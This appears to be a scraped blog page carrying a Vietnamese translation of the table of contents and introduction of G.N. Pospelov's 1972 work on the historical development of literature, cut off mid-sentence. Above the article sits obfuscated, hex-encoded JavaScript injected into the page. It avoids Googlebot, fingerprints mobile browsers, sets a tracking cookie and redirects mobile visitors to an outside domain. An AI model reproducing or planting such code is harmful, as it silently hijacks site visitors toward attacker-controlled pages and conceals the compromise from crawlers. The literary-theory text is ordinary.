|nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Advertisements
Đăng tải tại Bài báo

Những vấn đề phát triển lịch sử văn học

 

G.N. PÔXPÊLỐP

NHỮNG VẤN ĐỀ PHÁT TRIỂN
LỊCH SỬ VĂN HỌC

Nguyễn Nghĩa Trọng và Lê Lưu Oanh dịch
Từ nguyên bản tiếng Nga:
Những vấn đề phát triển lịch sử văn học, NXB “Giáo dục”, Matxcơva,1972

(Lê Lưu Oanh dịch: Phần III: I, II, III.
Nguyễn Nghĩa Trọng: tất cả các phần còn lại.
Bản dịch có thể còn nhiều sai sót.
Mong được góp ý kiến để hoàn thiện. Xin trân trọng cảm ơn.
Email: leluuoanh@yahoo.ca)

MỤC LỤC

Dẫn luận: Những nhiệm vụ nghiên cứu văn học và vấn đề loại hình nội dung nghệ thuật
Phần một
I. Cảm hứng của tác phẩm văn học và tính chân thực lịch sử của nó
II. Các nguyên tắc phản ánh nghệ thuật đời sống
Phần hai
I. Các biến thể của cảm hứng. Tính anh hùng
II. Tính bi kịch
III. Tính kịch
IV. Tính chất tình cảm
V. Tính lãng mạn trong mối quan hệ với vấn đề chủ nghĩa lãng mạn
VI. Hài hước và châm biếm như những kiểu cảm hứng
Phần ba
I. Vấn đề các thể loại văn học. Những hình thức thể loại
II. Các thể loại thần thoại “lịch sử – dân tộc” trong tự sự
III. Các thể loại “mô tả đạo đức” trong tự sự
IV. Các thể loại tiểu thuyết trong tự sự
V. Các thể loại trong kịch
VI. Các thể loại trong trữ tình
Kết luận: Các khuynh hướng văn học và các trào lưu tư tưởng – văn học

DẪN LUẬN
Những nhiệm vụ nghiên cứu văn học
và vấn đề loại hình nội dung nghệ thuật

Người ta thường gọi khoa học về văn học là lịch sử văn học. Tên gọi này phù hợp với chính nội dung cơ bản của ngành học được bắt nguồn từ bản chất đối tượng của nó – văn học nghệ thuật (sáng tạo ngôn từ) của các dân tộc trên thế giới. Văn học nghệ thuật của mỗi dân tộc tự phát triển một cách lịch sử, trong đó xuất hiện tất cả những cái mới và những tác phẩm mới mà với mỗi thời đại lịch sử lại có những đặc điểm riêng biệt.
Khoa học về văn học đòi hỏi nghiên cứu sự phát triển lịch sử của các nền văn học dân tộc. Dĩ nhiên nó được bắt đầu từ sự thu thập, ghi chép những sự kiện phát triển văn học dân tộc, từ sự tạo dựng biểu đồ thống kê sự kiện. Sau đó nó phải tiến hành nhiệm vụ phức tạp hơn – phân loại lịch sử các hiện tượng văn học nghệ thuật, phát hiện trong đó những đặc điểm, những biến thể có ở lịch sử văn học của dân tộc này hay dân tộc khác.
Việc phân chia văn học thành loại, thể (trong nghĩa chung và rộng nhất của những từ này) đòi hỏi tạo dựng, soạn thảo những khái niệm tổng quát phù hợp. Trong thành phần của khoa học về văn học, khoa học về lịch sử của nó từ lâu đã xuất hiện một bộ môn lý thuyết riêng mà từ thời Arixtốt thường gọi là “Thi pháp”. Đó không phải là một khoa học riêng biệt mà là một bộ phận của khoa học, tất yếu cần phải là thành phần giúp cho việc phân chia cơ bản khoa học về văn học – lịch sử văn học của các dân tộc khác nhau và các thời đại khác nhau của sự phát triển của chúng – và cần phải được tạo dựng vì lợi ích của nó. Trong khi tạo nên những khái niệm bao quát của mình thi pháp không thể không tính đến ở trong đó những biến đổi lịch sử diễn ra trong văn học và chính nó hiện ra như “thi pháp lịch sử”.
Nhưng, giống như các khoa học khác, khoa học về văn học không thể tự hạn chế ở việc hoàn thành những nhiệm vụ phân loại và thống kê sự kiện. Nếu như những định kiến tư tưởng của chính các nhà khoa học cản trở điều đó thì nó vẫn không thể không hướng tới giải quyết những nhiệm vụ quan trọng và phức tạp hơn nhiều – làm sáng tỏ tính quy luật phát triển lịch sử của văn học các dân tộc khác nhau trên thế giới và thông qua đó mà giải thích sự phát triển ấy.
Giải thích những nhiệm vụ đó đòi hỏi những sự khái quát lý luận rộng lớn hơn nhiều. Văn học nghệ thuật tự phát triển một cách lịch sử, tất nhiên không phải vì nó, không phải từ nó, không mang tính nội tại. Là ý thức xã hội không trực tiếp, đặc thù của các dân tộc khác nhau, là lĩnh vực đặc thù văn học tinh thần của các dân tộc, văn học nghệ thuật biến đổi đồng thời với những đổi thay của đời sống dân tộc và gắn bó với chúng. Để hiểu những quan hệ ấy cần có lý luận phù hợp mang ý nghĩa phương pháp luận. Trước hết, việc giải quyết vấn đề về bản chất văn học nghệ thuật như là một loại hình nghệ thuật, về những đặc điểm riêng biệt của nó luôn luôn là cơ sở phương pháp luận của khoa học văn học. Phương pháp luận cần chỉ rõ mối quan hệ của phát triển văn học với phát triển lịch sử của xã hội dân tộc này hay dân tộc khác không phải là một sự ngẫu nhiên, bên ngoài, mà bắt nguồn từ chính bản thân văn học nghệ thuật.
Giải quyết những vấn đề thi tháp và phương pháp luận văn học đòi hỏi những công trình tư duy lý thuyết, thường rất trừu tượng. Cái mức độ trừu tượng ấy mới nhìn qua thật to lớn. Nó hướng tới việc xây dựng một hệ thống khái niệm tổng quát rất thiết yếu đối với việc tạo dựng lịch sử các nền văn học dân tộc những thời đại khác nhau mà thiếu nó thì bản thân lịch sử ấy không thể cấu tạo ở một trình độ khoa học cao nào đó. Thời gian gần đây thỉnh thoảng có thể nghe trong giới nghiên cứu, phê bình ý kiến cho rằng hình như việc nghiên cứu một hệ thống trừu tượng những khái niệm nghiên cứu văn học là không cần thiết, kinh viện, siêu hình. Ý kiến ấy có thể là kết quả của sự thay đổi nhanh chóng và sự phê phán gay gắt những lý thuyết phương pháp luận khác nhau trong ngành nghiên cứu văn học Xô Viết những năm 1920 – 1940. Nó làm cho người ta sợ hãi tranh luận những lý thuyết này khác. Nhưng sự xung đột những ý kiến đó là điều kiện tất yếu thúc đẩy khoa học tiến lên và không có sự nguy hiểm nào ở đó.
Là bộ phận cấu thành chung của những sự phân chia có tính lịch sử, được trang bị bởi những khái niệm nghiên cứu thi pháp và phương pháp luận, khoa học về văn học là một hệ thống nhận thức khoa học phức tạp và phân ngành. Để biểu thị hệ thống này trong sự thống nhất tất cả những sự phân chia có tính lịch sử và những nguyên lý lý luận của nó, khoảng mươi năm lại đây ở chúng ta đã xuất hiện từ “nghiên cứu văn học” vay mượn từ tiếng Đức (Literaturwissenschaft, tức là khoa học về văn học).
Nhưng chớ bao giờ nên quên rằng nghiên cứu văn học đó là khoa học xã hội – lịch sử, trong tất cả các bộ phận của mình nó cần phải xuyên thấm nguyên tắc chủ nghĩa lịch sử. Đang tồn tại và có thể tồn tại chỉ một khoa học về văn học – việc nghiên cứu văn học mang tính lịch sử từ lý luận của chính nó; nó có thể mang lại sự cống hiến to lớn vào văn hóa tinh thần tiến bộ toàn nhân loại.
2
Ý nghĩa của những vấn đề lịch sử chung của khoa học về văn học nhiều khi trượt khỏi sự chú ý của chính các nhà nghiên cứu văn học chuyên giải quyết những nhiệm vụ bổ trợ và riêng biệt. Sự chuyên môn hóa trong lĩnh vực tập hợp và miêu tả các sự kiện liên quan với lịch sử văn học nghệ thuật các dân tộc khác nhau góp phần to lớn nhất vào vấn đề đó.
Việc làm sáng tỏ các vấn đề chẳng hạn như việc các tác phẩm văn học nghệ thuật đã được sáng tác tại những thời điểm nào trong hoạt động sáng tạo của các tác giả của chúng vốn thường có những dị bản và hiệu đính khác nhau, hay việc các tác phẩm sau đó đã được in và sao chép rất nhiều đôi lúc thiếu cả tên tác giả, đã bị xuyên tạc từ phía những người chép lại và bởi sự hiệu đính xuất bản, bởi sự kiểm duyệt mà thường là thay đổi văn bản của chúng, hoặc như việc các tác phẩm đã được công chúng các dân tộc xa xôi tiếp nhận, đã trở thành đối tượng của những buổi công diễn, đã được đánh giá, phê bình, nhận xét của người nghe, người xem mà không hiếm trường hợp những nhận xét phê bình ấy của độc giả các nước khác đã dịch ra tiếng nước ngoài – là việc minh định và chỉ ra chính xác tất cả những điều đó tự nó đã lý giải hết thảy các quá trình riêng biệt ấy. Đó là một công việc rất phức tạp, tỉ mỉ, tốn nhiều công sức. Nó đòi hỏi giải quyết rất nhiều vấn đề thuộc về sưu tầm, tiểu sử học, văn bản học, bình chú v.v…
Công việc này hoàn toàn cần thiết. Kết quả của nó dần dần tạo ra cơ sở dữ liệu của khoa học về văn học như đã nói, mà thiếu nó thì không có nền tảng vững chắc và có thể dẫn đến sự khái quát phiến diện hoặc thậm chí sai lầm. Nhiều nhà nghiên cứu văn học đã để hết tâm trí vào việc thực hiện những nhiệm vụ lập biểu đồ dữ liệu, cống hiến toàn bộ sức lực và sự quan tâm của mình xem đó như là “tiết diện” của mình. Trong phạm vi này thường tạo nên những nhà khoa học lớn và nghiêm túc đem lại trong lĩnh vực của mình sự uyên bác sâu rộng làm phong phú khoa học văn học bằng những khám phá thực sự rất quan trọng.
Tuy nhiên, với tất cả sự thiết yếu và tầm quan trọng to lớn của mình, toàn bộ điều đó chỉ là bậc đầu tiên của việc nghiên cứu văn học nghệ thuật. Nhưng khoa học văn học từ lâu đã không thể tự thỏa mãn với điều ấy. Và khi những nhà nghiên cứu văn học nào đó tự bằng lòng điều ấy, toàn tâm toàn ý chỉ đi vào tìm kiếm dữ liệu thì việc đấy lại hạn chế chân trời khoa học và chứa đựng nguy hiểm lớn đối với tư duy khoa học của họ.
Điều nguy hiểm đó là ở chỗ một số nhà nghiên cứu chỉ trên bình diện biểu đồ sự kiện dữ liệu thường phát triển và củng cố một quan niệm thích hợp với đối tượng khoa học của mình. Có thể gọi tên nó là quan niệm cá thể hóa đối với sáng tác và cá tính sáng tạo của các nhà văn. Điều đó tự nó hoàn toàn chính đáng nhưng không đầy đủ. Nó cần hàm chứa trong mình khả năng của một quan niệm khác có tính chủ yếu, bao quát trở thành nhiệm vụ của mình hướng cái riêng đến các cái chung.
Vấn đề là ở chỗ các nhà khoa học của lát cắt biểu đồ sự kiện thường xuyên có quan hệ với những hiện tượng cá biệt của sáng tạo nghệ thuật và với những sự kiện của các nhà văn riêng lẻ. Vì vậy ở họ thường xuất hiện một cách tự phát quan niệm cho rằng tất cả đặc thù của các tác phẩm của nhà văn này hay nhà văn khác được tạo nên bởi bản tính riêng của tư duy nghệ thuật và tài năng anh ta, mà bản tính ấy đã xuất hiện và phát triển trong những điều kiện và hoàn cảnh riêng biệt của đời sống và sáng tác của nhà văn. Và thậm chí khi bị cuốn hút bởi các sự kiện của những mối quan hệ xã hội, văn học riêng tư của các nhà văn đối với tư duy sáng tạo của họ thì các nhà nghiên cứu ấy thường xem xét chúng phần lớn chỉ theo bình diện cá biệt. Theo quan niệm của họ thì nhà văn lớn, tài năng có thể trải qua những ảnh hưởng nhất thời về văn học và tư tưởng khác trong khi vẫn giữ nguyên tất cả tính sáng tạo duy nhất, rõ ràng không hề mang những đặc điểm chung nào xuất hiện một cách lịch sử của tư duy nghệ thuật và xã hội.
Với quan điểm cá tính hóa đối với sự sáng tác của nhà văn thì các tác phẩm riêng biệt của họ cũng thường được xem xét giống như vậy. Các hành động và quan hệ của các nhân vật trong các tác phẩm kịch và tự sự được hiểu như sự tùy thuộc vào ý chí, chủ định, xúc cảm cá nhân các nhà văn tương tự như điều đó thường xảy ra trong thực tế với những con người có thực. Mỗi một nhân vật hành động ứng xử thế này hay thế khác phù hợp với những đặc điểm của tính cách cá nhân và vì vậy hoàn toàn đáp ứng với chính bản thân. Có thể khen ngợi hoặc phê phán nó về điều đó như một người đang sống và có thể cho nó một tính cách phù hợp vì điều đó. Bằng việc mô tả tính cách các nhân vật và thuật lại các cốt truyện các nhà văn tự tạo ra ít hoặc nhiều mặt cắt biểu đồ sự kiện, không tính đến những tình huống mà trong các hành động và quan hệ của các nhân vật tác phẩm tự biểu hiện không chỉ những bản tính riêng của chúng mà còn cả những tính cách xã hội và sự hiểu biết tư tưởng – cảm xúc mới nhất từ phía tác giả.
Ngay cả những nguyên tắc mô tả nghệ thuật vốn có ở những tác phẩm của từng nhà văn riêng lẻ có thể được nhìn nhận theo một quan niệm cho rằng toàn bộ những gì phụ thuộc vào các đặc điểm của tài năng sáng tạo của nhà văn giống như “phong cách riêng” của anh ta. Cách hiểu như vậy loại trừ phong cách văn học khỏi bất kỳ tính quy luật lịch sử nào. Những sự khác nhau và đổi thay các phong cách trong văn học của các thời đại được giải thích theo cách hiểu đó chỉ là sự biểu hiện và thay đổi của những cá tính sáng tạo duy nhất khác nhau. Và thế là văn học không có bất kỳ quy luật mang tính lịch sử phong cách nào!
Ở bình diện này có thể trình bày toàn bộ lịch sử văn học của dân tộc này hay dân tộc khác. Do đó có thể xuất hiện những tác phẩm thậm chí nhiều tập chứa đựng trong đó những bản tổng quan biểu đồ sự kiện đời sống xã hội – văn học các thời đại khác nhau và tiếp theo sau là những đặc điểm biểu đồ sự kiện các tiểu sử, các thời kỳ sáng tác, các nhân vật, cốt truyện của những tác phẩm quan trọng nhất và sau đó là kiểu cách văn chương riêng của các nhà văn sống cùng thời đại. Những cuốn sách như vậy thường chứa đựng không ít những tư liệu rất có ích nhưng ý nghĩa khái quát về quá trình văn học và các giai đoạn khác nhau của nó có thể bị hoàn toàn tước bỏ.
3
Nghiên cứu văn học tiến lên trình độ cao hơn khi nó tạo được một hệ thống những khái niệm khoa học mà với sự giúp đỡ của chúng có thể thấy được trong những bản sắc riêng các tác phẩm của các nhà văn đơn lẻ một số đặc điểm chung xuất hiện có tính lịch sử và có thể lặp lại trong sáng tác của các nhà văn khác. Với các khái niệm ấy, nghiên cứu văn học có thể tìm các quy luật phát triển lịch sử của các nền văn học dân tộc khác nhau.
Những đặc điểm chung của các tác phẩm văn học mà từ đó ánh xạ sang những khái niệm của chúng có thể chia làm hai loại. Mỗi loại là những bản chất chung có thể được hiện ra theo cách khác nhau trong các tác phẩm có liên quan với các thời đại khác nhau của phát triển lịch sử của văn học dân tộc này hay dân tộc khác và với những trào lưu, khuynh hướng khác nhau. Những đặc tính chung đó của các tác phẩm văn học nghệ thuật và những khái niệm phản ánh chúng thường được gọi là những đặc trưng mang tính loại hình va những khái niệm tương ứng.
Nhưng lại có những đặc tính khác trong khi xuất hiện ở các tác phẩm liên quan tới một thời kỳ lịch sử nhất định hoặc chỉ với một trào lưu văn học nào đó không lặp lại có tính lịch sử ra khỏi giới hạn của thời đại ấy của sự phát triển văn học dân tộc và của trào lưu văn học ấy. Những đặc tính chung đó và những khái niệm phản ánh chúng có thể gọi là những đặc tính lịch sử – cụ thể và những khái niệm tương ứng.
Có thể xem các trào lưu văn học thường được gọi như chủ nghĩa cổ điển Nga hay chủ nghĩa lãng mạn Pháp là những hiện tượng lịch sử cụ thể cơ bản. Trong các tác phẩm của những nhà văn thuộc vào một trào lưu văn học nhất định, xuất hiện ở một thời đại lịch sử nhất định trong một nền văn học dân tộc nào đó rõ ràng là có những đặc điểm chung khác biệt với những tác phẩm của các nhà văn thuộc những trào lưu khác và thời đại khác. Và những đặc điểm lịch sử không lặp lại ấy của nội dung các tác phẩm của một trào lưu nhất định tạo ra tính cụ thể lịch sử của tất cả các đặc tính và yếu tố của các tác phẩm ấy mà trong những tính chất chung của mình đã có thể tồn tại sớm hơn trong những tác phẩm của các tác phẩm khác với một nội dung khác và có thể sẽ được lặp lại trong những thời đại sau. Nói cách khác, những đặc điểm lịch sử cụ thể của văn học quy định sự xuất hiện và các sự thay đổi có tính lịch sử những đặc tính loại hình của nó.
Thoạt nhìn thì những đặc trưng loại hình học của các tác phẩm chỉ là các đặc điểm của hình thức nghệ thuật của chúng. Những đặc điểm duy nhất có tính lịch sử của nội dung khi được biểu đạt trong các phương tiện và thủ pháp phản ánh đời sống phù hợp với chúng, mỗi một lần đều bổ sung cho chúng tính cụ thể lịch sử của mình, mặc dù chính những phương tiện và thủ pháp ấy trong đặc tính chung của mình có thể lặp lại một cách lịch sử trong những tác phẩm của các trào lưu và thời đại khác trong khi biểu đạt những đặc điểm khác của nội dung nghệ thuật.
Điều đó liên quan trước hết cốt truyện những tác phẩm kịch và tự sự. Cốt truyện của từng tác phẩm riêng lẻ – đó là quá trình miêu tả trong tác phẩm những sự kiện, mỗi một lần nhiều hay ít mới mẻ, cụ thể, riêng biệt hiện ra nhờ những quan hệ và hành động của tất cả nhân vật hành động, được nhà văn dùng làm phương tiện khám phá những đặc điểm của các tính cách xã hội của chúng và đồng thời là phương tiện bộc lộ suy nghĩ tư tưởng – cảm xúc của những đặc điểm ấy của nhà văn. Vì vậy cốt truyện là phương tiện quan trọng nhất của hình thức tác phẩm.
Nhưng những quan hệ riêng biệt của các nhân vật hành động thường chứa ở trong mình một số đặc điểm chung có thể lặp lại trong những điều kiện lịch sử xã hội khác. Nhiều cốt truyện của các tác phẩm được xây dựng chẳng hạn, trên cái gọi là “tam giác” tình yêu của các nhân vật nhưng mà khi lặp lại thì lại nhằm biểu đạt một nội dung tư tưởng khác ở các nhà văn của các thời đại và trào lưu khác nhau.
Có thể nói chẳng có gì giống nhau về tất cả các phương tiện và thành phần khác của hình thức, ví dụ như về cấu trúc các hình tượng trong những tác phẩm tự sự. Những hình tượng nhân vật luôn được xây dựng trong các tác phẩm loại này từ những chi tiết khác nhau của tính tạo hình đồ vật. Nói cách khác chúng luôn luôn hàm chứa trong mình sự lựa chọn và tương quan nhất định của những chi tiết hành động, lời nói, xúc cảm, ngoại hình của các nhân vật trong quan hệ với những chi tiết của hoàn cảnh xung quanh chúng. Ở những nhà văn của các thời đại và trào lưu khác nhau mối quan hệ ấy thường khác nhau và mỗi lần đều không tái hiện một cách lịch sử bởi vì nó được dùng làm phương tiện biểu hiện của nội dung tư tưởng khác biệt theo đặc thù của mình. Nhưng tự nó trong những đặc tính chung của mình, các chân dung nhân vật, những đối thoại của chúng, sự mô tả những cảm xúc của chúng … được lặp lại một cách lịch sử theo cái kiểu là một đặc điểm loại hình của hình thức nghệ thuật.
Những đặc tính loại hình của các phương diện và nhân tố khác nhau của ngôn từ nghệ thuật được thấy rõ dễ hơn. Có thể tìm thấy trong các tác phẩm của phần lớn các tác giả những thời đại và trào lưu văn học khác nhau một số dạng giống nhau của lời lẽ bóng gió, những dạng thủ pháp ngữ điệu – cú pháp tương tự nhau và sự vận dụng những tiết tất nhịp điệu hay những kiểu đoạn thơ giống nhau. Nhưng mỗi lần biểu đạt nội dung tư tưởng – cảm xúc riêng biệt thì tất cả những đặc tính lặp lại một cách lịch sử ấy của hình thức ngôn từ các tác phẩm tiếp nhận được cái ý nghĩa và âm vang mới không lặp lại có tính lịch sử.
Nghiên cứu những khái niệm loại hình học, phản ánh những phương diện và yếu tố khác nhau của hình thức tác phẩm văn học nghệ thuật là nhiệm vụ một bộ phận của thi pháp như một bộ môn lý thuyết nằm trong thành phần chung của nghiên cứu văn học. Có thể gọi nó là “thi pháp hình thức”.
Nhưng không nên nghĩ rằng chỉ có những đặc tính hình thức nghệ thuật của chúng mới là các đặc trưng mang tính loại hình của tác phẩm văn học. Cả những phương diện khác nhau của nội dung nghệ thuật của chúng cũng có thể tự tái diễn một cách lịch sử.
Như vậy, trước hết là những đặc điểm nội dung làm phân biệt các tác phẩm của các loại văn học cơ bản – tự sự, trữ tình, kịch. Tất nhiên đang tồn tại những khác nhau to lớn trong các nguyên tắc và thủ pháp tái hiện đời sống trong từng loại của chúng.
Tự sự luôn là sự trần thuật chủ yếu về những sự kiện diễn ra trong đời sống của những nhân vật hành động. Còn trữ tình thì phần lớn trường hợp là suy ngẫm xúc cảm về đời sống hay là sự mô tả cảm xúc. Tự sự luôn luôn mang cốt truyện còn trữ tình thường thiếu cốt truyện. Để thể hiện nội dung trong tự sự thì các chi tiết tạo hình cụ thể như các tình tiết hành động, nói năng, chân dung, xúc cảm của nhà văn có ý nghĩa quyết định, cơ bản. Những chi tiết ấy trở thành chất liệu cấu tạo hình tượng tác phẩm và nhà văn trần thuật về chúng. Trong trữ tình thì tính tạo hình cụ thể thường phát triển yếu hơn và những đặc điểm của ngôn ngữ miêu tả và trầm tư lại có ý nghĩa quyết định việc biểu đạt nội dung. Chính vì thế mà ngôn ngữ nghệ thuật trong trữ tình thường là phương tiện truyền cảm tinh tế hơn nhiều so với tự sự. Trữ tình hầu như luôn luôn hướng tới tổ chức thi ca của ngôn ngữ, hoàn toàn thường thỏa mãn trong quy mô nhỏ của văn bản tác phẩm. Còn tự sự với tính cốt truyện và tính tạo hình cụ thể mở rộng, hiển nhiên là tìm đến những chiều kích lớn của trần thuật được thực hiện một cách hiệu quả như nhau trong thơ ca và văn xuôi.
Ở kịch có những đặc điểm chung cơ bản với tự sự. Đó là sự có mặt của các nhân vật hành động, sự phát triển hành động trong những điều kiện địa điểm và thời gian nhất định, là các khả năng như nhau của chất văn xuôi và chất thơ. Nhưng những tác phẩm kịch được dùng chủ yếu để dựng vở trên sân khấu, nhằm thống nhất nghệ thuật ngôn từ với nghệ thuật biểu diễn, có những nguyên tắc tái hiện cuộc sống của mình. Trong kịch không có sự mô tả và trần thuật của tác giả và chỉ hoàn toàn xây dựng bằng đối thoại và độc thoại của các nhân vật. Bị hạn chế thời gian của diễn xuất sân khấu, các đối thoại và độc thoại cần phải phù hợp với thời gian trong khối lượng lời của mình.
Tất cả đấy là đặc điểm loại hình của hình thức các chủng loại văn học. Nhưng chúng được tạo dựng trong các tác phẩm của các nhà văn những thời đại và trào lưu văn học khác nhau bởi những đặc điểm loại hình mang tính nội dung. Tự sự và kịch là một phía và trữ tình ở phía khác, khác biệt nhau trước hết ở trong một phương diện xác định nào đó của nội dung.

Phương diện đó tất nhiên không thể là hệ đề tài của các tác phẩm nghệ thuật, tức là những tính cách và quan hệ xã hội lịch sử – cụ thể đã trở thành đối tượng nhận thức nghệ thuật. Một số tính cách này hay tính cách khác có thể được tái hiện mang tính tự sự, tính kịch hay tính trữ tình.
Còn ở mức độ nhỏ hơn của phương diện nội dung nằm trong cơ sở của những chủng loại văn học khác nhau có thể là toàn bộ những vấn đề của tác phẩm tức là những phương diện các tính cách và quan hệ xã hội được miêu tả mà các nhà văn của các thời đại và trào lưu khác nhau xem chúng là cốt yếu hơn cả và họ lựa chọn, khuếch đại, phát triển chúng trong tác phẩm của mình. Những khía cạnh khác nhau của các tính cách xã hội được miêu tả cũng giống thế là phương diện các tính cách xã hội có thể trở thành vấn đề cơ bản trong cả ba chủng loại văn học. Chúng ta nhớ ví dụ như “Những anh hùng thời đại chúng ta”, “Vũ hội hóa trang” và “Khúc bi ca” của Lécmôngtốp.
Nếu như tất cả những tính cách xã hội khác nhau một cách lịch sử, và những mối quan hệ của chúng có thể chứa trong mình những mặt giống nhau được lặp lại trong những đặc điểm chung của chúng, ví như có thể phản ánh chủ yếu từ phương diện những quan hệ chính trị hoặc đời sống đạo đức của chúng hay từ phương diện ý nghĩa triết học của chúng …; nếu như nhà văn các thời đại và trào lưu khác nhau có thể thống nhất với nhau trong những đặc điểm chung lặp lại một cách lịch sử ấy của toàn bộ các vấn đề của mình thì tất cả điều đó sẽ không có một quan hệ nào hết đến vấn đề về các đặc điểm nội dung của chủng loại văn học.
Phương diện thứ ba của nội dung các tác phẩm văn học là mối quan hệ tư tưởng cảm xúc của các nhà văn với những tính cách xã hội mà họ nhận thức. Mối quan hệ ấy thường rất có ý nghĩa và hiệu lực trở thành “cảm hứng” của tác phẩm trong ý nghĩa ấy, đồng thời không có quan hệ trực tiếp với vấn đề đó. Sự hưng phấn cảm xúc của tác phẩm tự có những sự khác biệt mà trong những đặc tính chung của mình chúng tự tái hiện một cách lịch sử trong sáng tác của các nhà văn ở các thời đại và trào lưu khác nhau. Nó có thể trở thành cảm hứng anh hùng và lãng mạn, trào phúng và châm biếm v.v.. Nhưng trong tất cả những biến tướng được lặp lại của mình nó có thể trong chừng mực giống nhau trở thành biểu hiện trong các tác phẩm tự sự, kịch, trữ tình…
Hêghen trong “Mỹ học” của mình và sau đó Bêlinxki trong bài báo “Phân chia thể loại thơ ca” đã xác định sự khác nhau giữa tự sự, trữ tình và kịch từ cái nhìn vị thế chủ đạo của nguyên tắc cái khách quan hay cái chủ quan trong đó. Nhưng Hêghen đã xây dựng toàn bộ lý luận các loại văn học của mình trên tư liệu văn học Hy Lạp cổ đại, trên những sự kiện thời hưng thịnh lần lượt của sáng tác tự sự, trữ tình, kịch của người Hy Lạp cổ đại. Và đối với ông thì chỉ có một trong những thể loại anh hùng ca – sử thi nhân dân như anh hùng ca Hôme mới là kiểu mẫu và thước đo toàn bộ chủng loại tự sự sử thi. Vì vậy trong ảo ảnh tính khách quan của trần thuật được xem là bản chất có thật của “Iliat” và “Ôđixê”, Hêghen đã nhìn thấy tính khách quan hiện thực của tác phẩm tự sự nói chung và đã theo đó mà phân biệt toàn bộ chủng loại tự sự văn học với chủng loại trữ tình như là cái chủ quan và xem kịch như 